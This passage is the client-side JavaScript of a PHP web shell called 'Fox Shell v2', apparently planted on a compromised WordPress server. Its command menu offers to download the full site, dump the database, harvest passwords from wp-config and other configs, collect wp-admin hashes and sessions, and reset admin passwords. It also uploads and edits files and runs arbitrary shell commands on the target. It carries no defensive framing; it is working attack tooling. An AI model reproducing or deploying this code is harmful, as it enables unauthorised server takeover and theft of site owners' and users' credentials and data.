'user') { loginText.textContent = HOSTNAME + ' login: ' + rin.value; loginText.appendChild(lcur); } return; } buf = rin.value; renderInput(); }); rin.addEventListener('keydown', e => { if (!authed) { if (e.key === 'Enter') { e.preventDefault(); handleLoginLine(); } e.stopPropagation(); return; } if (e.key === 'Enter') { e.preventDefault(); const c = buf; buf = ''; rin.value = ''; execute(c); } else if (e.key === 'ArrowUp') { if (hidx > 0) { hidx--; buf = hist[hidx] || ''; rin.value = buf; renderInput(); } e.preventDefault(); } else if (e.key === 'ArrowDown') { if (hidx < hist.length - 1) { hidx++; buf = hist[hidx]; } else { hidx = hist.length; buf = ''; } rin.value = buf; renderInput(); e.preventDefault(); } else if (e.key === 'Tab') { e.preventDefault(); tabComplete(); } else if (e.key === 'l' && e.ctrlKey) { e.preventDefault(); localCmds.clear(); } }); document.body.addEventListener('click', () => { if (!$('editOverlay').classList.contains('open')) rin.focus(); }); /* ====== client-side commands ====== */ const localCmds = { help: () => print( '<span class="ok">Fox Shell v2 - available commands:</span>\n' + ' <span class="warn">d -</span> download the whole site as zip\n' + ' <span class="warn">f -</span> full path + permissions listing\n' + ' <span class="warn">m -</span> full database dump (sql download)\n' + ' <span class="warn">n -</span> harvest all users + passwords (wp-config, DB, configs)\n' + ' <span class="warn">w -</span> wp-admin login data (users, hashes, sessions)\n' + ' <span class="warn">resetpass <user> <pass></span> set new admin password\n' + ' <span class="warn">setuser <user> [new_user] [new_pass]</span> change username and/or password\n' + ' <span class="warn">paths [dir] [depth]</span> full recursive path listing (default: cwd, depth 3)\n' + ' <span class="warn">allpaths [depth]</span> every path on the system from /\n' + ' <span class="warn">download <file></span> download any file to your machine\n' + ' <span class="warn">edit <file></span> nano editor (ctrl+o save, ctrl+x exit)\n' + ' <span class="warn">upload [path]</span> upload a file\n' + ' <span class="warn">chmod <file> [mode]</span> change permissions (default 0644)\n' + ' <span class="warn">clear</span> clear screen\n' + ' <span class="warn">pwd / cd / ls / cat / ...</span> real linux commands on the server\n' + '<span class="dim">every other command executes for real on the target.</span>\n'), clear: () => { scr.innerHTML = ''; banner(); renderInput(); }, edit: (arg) => { if (!arg) return print('<span class="err">usage: edit /path/to/file</span>\n'); const p = arg.startsWith('/') ? arg : CWD + '/' + arg; openEdit(p); return true; }, upload: (arg) => { upDst = arg ? (arg.startsWith('/') ? arg : CWD + '/' + arg) : null; $('uploadInput').click(); return true; }, download: (arg) => { if (!arg) return print('<span class="err">usage: download /path/file</span>\n'); location = '?down=' + encodeURIComponent(arg.startsWith('/') ? arg : CWD + '/' + arg); print('<span class="ok">[*] download started</span>\n'); return true; }, chmod: (arg) => { const a = arg.trim().split(/\s+/).filter(Boolean); if (!a[0]) return print('<span class="err">usage: chmod <file> [mode]</span>\n'); const p = a[0].startsWith('/') ? a[0] : CWD + '/' + a[0]; const mode = /^\d{3,4}$/.test(a[1] || '') ? a[1] : '0644'; fetch('?chmod=1&chmod=' + encodeURIComponent(p) + '&mode=' + encodeURIComponent(mode)) .then(r => r.text()).then(x => { print(x.startsWith('OK') ? '<span class="ok">[*] chmod ' + mode + ' applied: ' + esc(p) + '</span>\n' : '<span class="err">[!] chmod failed</span>\n'); renderInput(); }); return true; }, d: (arg) => { if (arg.trim() !== '-' && arg.trim() !== '') return print('<span class="err">usage: d -</span>\n'); print('<span class="dim">[*] compressing and downloading the full site...</span>\n'); fetch('?zipall=1&base=' + encodeURIComponent(HOME)) .then(r => r.blob()).then(b => { const a = document.createElement('a'); a.href = URL.createObjectURL(b); a.download = 'site_full.zip'; a.click(); print('<span class="ok">[*] download started (site_full.zip)</span>\n'); renderInput(); }).catch(() => { print('<span class="err">[!] failed</span>\n'); renderInput(); }); return true; }, f: (arg) => { if (arg.trim() !== '-' && arg.trim() !== '') return print('<span class="err">usage: f -</span>\n'); print('<span class="dim">[*] full path + permissions listing of ' + esc(short(HOME)) + ' ...</span>\n'); fetch('?perms=1&base=' + encodeURIComponent(HOME) + '&depth=8') .then(r => r.text()).then(x => { if (x === 'DENIED_OR_EMPTY') print('<span class="err">[!] denied or empty</span>\n'); else { print(esc(x) + '\n'); print('<span class="ok">[*] done — format: type perms owner:group size date path</span>\n'); } renderInput(); }); return true; }, m: (arg) => { if (arg.trim() !== '-' && arg.trim() !== '') return print('<span class="err">usage: m -</span>\n'); print('<span class="dim">[*] dumping full database...</span>\n'); fetch('?dbdump=1').then(r => r.text()).then(x => { if (x === 'NO_CONFIG') print('<span class="err">[!] wp-config.php not found or no DB_NAME</span>\n'); else if (x.startsWith('DB_ERR:')) print('<span class="err">[!] ' + esc(x) + '</span>\n'); else if (x === 'FAIL') print('<span class="err">[!] dump failed</span>\n'); else { const b = new Blob([x], {type: 'application/sql'}); const a = document.createElement('a'); a.href = URL.createObjectURL(b); a.download = 'db_dump.sql'; a.click(); print('<span class="ok">[*] database dump downloaded (' + (x.length/1024).toFixed(1) + ' KB)</span>\n'); } renderInput(); }); return true; }, n: (arg) => { if (arg.trim() !== '-' && arg.trim() !== '') return print('<span class="err">usage: n -</span>\n'); print('<span class="dim">[*] harvesting all usernames + passwords...</span>\n'); fetch('?creds=1&base=' + encodeURIComponent(HOME)) .then(r => r.text()).then(x => { print(esc(x) + '\n'); print('<span class="ok">[*] done — ' + (x.length/1024).toFixed(1) + ' KB harvested</span>\n'); const b = new Blob([x], {type: 'text/plain'}); const a = document.createElement('a'); a.href = URL.createObjectURL(b); a.download = 'creds.txt'; a.click(); renderInput(); }); return true; }, w: (arg) => { if (arg.trim() !== '-' && arg.trim() !== '') return print('<span class="err">usage: w -</span>\n'); print('<span class="dim">[*] collecting wp-admin login data...</span>\n'); fetch('?wpadmin=1&base=' + encodeURIComponent(HOME)) .then(r => r.text()).then(x => { if (x === 'NO_CONFIG') { print('<span class="err">[!] wp-config.php not found</span>\n'); renderInput(); return; } print(esc(x) + '\n'); print('<span class="ok">[*] done</span>\n'); const b = new Blob([x], {type: 'text/plain'}); const a = document.createElement('a'); a.href = URL.createObjectURL(b); a.download = 'wpadmin.txt'; a.click(); renderInput(); }); return true; }, resetpass: (arg) => { const a = arg.trim().split(/\s+/).filter(Boolean); if (a.length < 2) return print('<span class="err">usage: resetpass <username> <newpassword></span>\n'); fetch('?resetpass=1&user=' + encodeURIComponent(a[0]) + '&newpass=' + encodeURIComponent(a[1])) .then(r => r.text()).then(x => { if (x === 'OK') print('<span class="ok">[*] password changed — login now: ' + esc(a[0]) + ' / ' + esc(a[1]) + '</span>\n'); else print('<span class="err">[!] ' + esc(x) + '</span>\n'); renderInput(); }); return true; }, setuser: (arg) => { const a = arg.trim().split(/\s+/).filter(Boolean); if (a.length < 2) return print('<span class="err">usage: setuser <current_user> [new_user] [new_pass]</span>\n'); const cur = a[0], nu = a[1] || '', np = a[2] || ''; if (!nu && !np) return print('<span class="err">[!] nothing to change</span>\n'); print('<span class="dim">[*] updating account...</span>\n'); fetch('?setuser=1&user=' + encodeURIComponent(cur) + '&newuser=' + encodeURIComponent(nu) + '&newpass=' + encodeURIComponent(np)) .then(r => r.text()).then(x => { if (x.startsWith('OK')) { print('<span class="ok">[*] ' + esc(x.slice(3)) + ' — new login: ' + esc(nu || cur) + (np ? ' / ' + esc(np) : ' (same password)') + '</span>\n'); print('<span class="warn">[*] old sessions cleared — login at wp-login.php</span>\n'); } else { print('<span class="err">[!] ' + esc(x) + '</span>\n'); if (x === 'FAIL:username_taken') print('<span class="warn">new username already exists — pick another</span>\n'); } renderInput(); }); return true; }, paths: (arg) => { const a = arg.trim().split(/\s+/).filter(Boolean); const dir = a[0] ? (a[0].startsWith('/') ? a[0] : CWD + '/' + a[0]) : CWD; const depth = a[1] && /^\d+$/.test(a[1]) ? a[1] : '3'; print('<span class="dim">[*] listing all paths under ' + esc(dir) + ' (depth ' + depth + ')...</span>\n'); fetch('?allpaths=1&base=' + encodeURIComponent(dir) + '&depth=' + depth) .then(r => r.text()).then(x => { if (x === 'DENIED_OR_EMPTY') print('<span class="err">[!] denied or empty</span>\n'); else print(esc(x) + '\n<span class="ok">[*] done</span>\n'); renderInput(); }); return true; }, allpaths: (arg) => { const depth = arg.trim() && /^\d+$/.test(arg.trim()) ? arg.trim() : '3'; print('<span class="dim">[*] scanning the entire filesystem from / (depth ' + depth + ')...</span>\n'); fetch('?allpaths=1&mode=root&depth=' + depth) .then(r => r.text()).then(x => { if (x === 'DENIED_OR_EMPTY') print('<span class="err">[!] denied or empty</span>\n'); else print(esc(x) + '\n<span class="ok">[*] done</span>\n'); renderInput(); }); return true; } }; /* ====== execute ====== */ function execute(cmd) { const ll = $('liveLine'); if (ll) ll.remove(); scr.insertAdjacentHTML('beforeend', promptHTML(cmd)); const raw = cmd.trim(); if (raw) { hist.push(raw); hidx = hist.length; } if (!raw) { renderInput(); return; } const [name, ...rest] = raw.split(/\s+/); const arg = rest.join(' '); if (localCmds[name]) { const h = localCmds[name](arg); if (h) { renderInput(); return; } } if (name === 'cd') { const target = arg === '' || arg === '~' ? HOME : arg.startsWith('/') ? arg : CWD + '/' + arg; fetch('?cd=' + encodeURIComponent(target)).then(r => r.text()).then(x => { if (x === 'FAIL') print('<span class="err">bash: cd: ' + esc(arg) + ': No such file or directory</span>\n'); else CWD = x; renderInput(); }); return; } const wrapped = "cd " + JSON.stringify(CWD) + " && " + raw; fetch('?cmd=' + encodeURIComponent(wrapped)).then(r => r.text()).then(x => { if (x) print(esc(x)); renderInput(); }).catch(() => { print('<span class="err">connection error</span>\n'); renderInput(); }); } /* ====== tab complete ====== */ function tabComplete() { const parts = buf.split(/\s+/); const last = parts[parts.length - 1] || ''; if (!last) return; const dir = last.includes('/') ? (last.startsWith('/') ? last.slice(0, last.lastIndexOf('/')) : CWD + '/' + last.slice(0, last.lastIndexOf('/'))) : CWD; const frag = last.includes('/') ? last.slice(last.lastIndexOf('/') + 1) : last; fetch('?cmd=' + encodeURIComponent('cd ' + JSON.stringify(dir) + ' && ls -1 | grep -i "^' + frag.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '" | head -20')) .then(r => r.text()).then(x => { const opts = x.trim().split('\n').filter(Boolean); if (opts.length === 1) { parts[parts.length - 1] = (last.includes('/') ? last.slice(0, last.lastIndexOf('/') + 1) : '') + opts[0]; buf = parts.join(' '); rin.value = buf; renderInput(); } else if (opts.length > 1) { print('<span class="dim">' + esc(opts.join(' ')) + '</span>\n'); renderInput(); } }); } /* ====== nano editor ====== */ let origContent = ''; let closingPending = false; function setStatus(msg, ok) { const s = $('editStatus'); if (!msg) { s.innerHTML = ' '; return; } s.innerHTML = '<span class="' + (ok ? 'msgok' : 'msg') + '">[ ' + msg + ' ]</span>'; } function openEdit(p) { fetch('?read=' + encodeURIComponent(p)).then(r => r.text()).then(t => { if (t.startsWith('READ_FAIL:')) { setStatus('Cannot read ' + p + ' (' + t.slice(10) + ')'); return; } $('editPath').value = p; $('editTa').value = t; origContent = t; $('modFlag').textContent = '—'; setStatus(''); $('editOverlay').classList.add('open'); $('editTa').focus(); }); } $('editTa').addEventListener('input', () => { $('modFlag').textContent = $('editTa').value !== origContent ? 'YES' : '—'; }); function explainFail(x) { const parts = x.slice(5).split(','); const map = { dir_missing: 'parent directory does not exist', dir_not_dir: 'parent path is not a directory', dir_not_writable: 'parent directory NOT writable by PHP user (www-data)', file_not_writable:'file exists but NOT writable by PHP user', open_basedir: 'open_basedir restriction active', immutable_flag: 'immutable attribute set (chattr +i) — remove with chattr -i', read_only_fs: 'filesystem is mounted read-only', empty_path: 'empty path', unknown: 'unknown error — check write perms manually' }; return parts.map(p => map[p.split(':')[0]] || p).join('; '); } function doSave(thenClose) { const fd = new FormData(); fd.append('save', $('editPath').value); fd.append('content', $('editTa').value); setStatus('Writing file...'); fetch(location.pathname, {method:'POST', body:fd}).then(r => r.text()).then(x => { if (x.startsWith('SAVED')) { origContent = $('editTa').value; $('modFlag').textContent = '—'; const via = x.slice(6); setStatus('Wrote ' + origContent.split('\n').length + ' lines to ' + $('editPath').value + (via ? ' (via ' + via.slice(1) + ')' : ''), true); if (thenClose) { $('editOverlay').classList.remove('open'); rin.focus(); } } else if (x.startsWith('FAIL')) { setStatus('Save failed: ' + explainFail(x)); setStatus2Hint($('editPath').value); closingPending = false; } else { setStatus('Unexpected server response: ' + x.slice(0, 80)); closingPending = false; } }).catch(() => { setStatus('Connection error — file not saved'); closingPending = false; }); } function setStatus2Hint(path) { fetch('?cmd=' + encodeURIComponent('whoami; stat -c "%U:%G %a" ' + JSON.stringify(path) + ' 2>&1; namei -l ' + JSON.stringify(path) + ' 2>/dev/null | tail -5')) .then(r => r.text()).then(info => { print('<span class="err">[!] save failed for: ' + esc(path) + '</span>\n'); print('<span class="dim">--- diagnostics ---\n' + esc(info) + '-------------------\n</span>'); print('<span class="warn">fixes to try:\n' + ' 1) chmod <file> 0666 (if PHP user owns the file)\n' + ' 2) upload the file to wp-content/uploads then: cp uploads/file target\n' + ' 3) chown www-data <file> (if you have root/sudo)\n' + ' 4) chattr -i <file> (if immutable flag set)\n</span>'); scroll(); }); } function closeEdit() { if ($('editTa').value !== origContent && !closingPending) { closingPending = true; setStatus('Save modified buffer? (Y/N) — press Y to save, N to discard'); const handler = e => { const k = e.key.toLowerCase(); if (k === 'y') { document.removeEventListener('keydown', handler); setStatus('Writing file...'); doSave(true); } else if (k === 'n') { document.removeEventListener('keydown', handler); closingPending = false; setStatus(''); $('editOverlay').classList.remove('open'); rin.focus(); } else { e.preventDefault(); } }; document.addEventListener('keydown', handler); return; } closingPending = false; setStatus(''); $('editOverlay').classList.remove('open'); rin.focus(); } document.addEventListener('keydown', e => { if (!$('editOverlay').classList.contains('open')) return; if (e.ctrlKey && e.key === 'x') { e.preventDefault(); closeEdit(); } else if ((e.ctrlKey || e.metaKey) && e.key === 'o') { e.preventDefault(); doSave(false); } else if ((e.ctrlKey || e.metaKey) && e.key === 's') { e.preventDefault(); doSave(false); } else if (e.ctrlKey && e.key === 'g') { e.preventDefault(); setStatus('nano 7.2 — ^O save | ^X exit | ^_ go to line | arrows move cursor'); } }); /* ====== upload ====== */ function doUpload(file) { const dst = upDst && !upDst.endsWith('/') ? upDst : CWD + '/' + file.name; const fd = new FormData(); fd.append('f', file); fd.append('path', dst); fetch(location.pathname, {method:'POST', body:fd}).then(r => r.text()).then(x => { print(x === 'OK' ? '<span class="ok">[*] uploaded: ' + esc(dst) + '</span>\n' : '<span class="err">[!] upload failed</span>\n'); renderInput(); }); } /* ====== boot splash -> login ====== */ function bootDone(){ const sp = $('bootSplash'); if (!sp || sp.classList.contains('hidden')) return; sp.classList.add('hidden'); setTimeout(() => sp.remove(), 500); loginScreen.classList.add('open'); showLoginPrompt(); } setTimeout(bootDone, 2000); /* ====== banner ====== */ function banner() { print( '<span class="banner"> _____ _ _____ _ _ _ \n' + ' | ___|__ ___ ___| | __ / ____| |__ ___| | |\n' + ' | |_ / _ \\/ __/ __| |/ /| (___ | \'_ \\ / _ \\ | |\n' + ' | _| __/\\__ \\__ \\ < \\___ \\| | | | __/ | |\n' + ' |_| \\___||___/___/_|\\_\\ ____) |_| |_|\\___|_|_|\n' + ' F O X S H E L L v2</span>\n' + '<span class="dim"> +----------------------------------------------+</span>\n' + '<span class="dim"> |</span> <span class="ok">Linux</span> <span class="dim">-</span> <?= htmlspecialchars(PHP_OS . ' ' . php_uname('r') . ' - ' . php_uname('m')) ?>\n' + '<span class="dim"> |</span> <span class="ok">PHP <?= htmlspecialchars(PHP_VERSION) ?></span> <span class="dim">-</span> user: <span class="ok"><?= htmlspecialchars(get_current_user()) ?></span>\n' + '<span class="dim"> +----------------------------------------------+</span>\n' + '<span class="dim">type </span><span class="warn">help</span><span class="dim"> for the command list.</span>\n\n'); } </script> </body> </html>